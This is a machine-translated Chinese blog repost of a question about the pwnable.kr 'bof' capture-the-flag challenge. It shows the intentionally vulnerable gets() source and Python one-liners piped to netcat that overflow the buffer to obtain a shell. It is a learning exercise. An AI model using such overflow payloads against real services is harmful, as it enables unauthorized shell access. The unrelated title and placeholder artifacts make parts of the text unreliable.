python中return和printf的区别_linux中的“python c‘print’”和“(python c‘print’;cat)”有什么区别...

我通常使用“python-c”将参数传递给c程序。在

像这样:$ python -c 'print "a" * 12' | ./program

但是当我执行一个BOF练习程序pwnable.kr/bof时

^{pr2}$

以及( python -c 'print'; cat )

以不同的方式工作。在我写了这样一个漏洞代码:$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000

但它没用,所以我找到了stack_canary值。

^{5}$

但还是没用

所以我找到了别人的评论$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000

此攻击代码已成功执行/bin/sh

为什么是这个3。攻击代码通过堆栈金丝雀,python -c 'print'和{}之间有什么区别?在#include

#include

#include

void func(int key){

char overflowme[32];

printf("overflow me : ");

gets(overflowme); // smash me!

if(key == 0xcafebabe){

system("/bin/sh");

}

else{

printf("Nah..\n");

}

}

int main(int argc, char* argv[]){

func(0xdeadbeef);

return 0;

}

转炉煤气源$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000

*检测到堆栈粉碎*:/home/bof/bof终止

溢出我:

不。。在$ python -c 'print "a"*32 +"\x0a"' | nc pwnable.kr 9000

溢出我:

不。。在$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000

成功执行/bin/sh

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值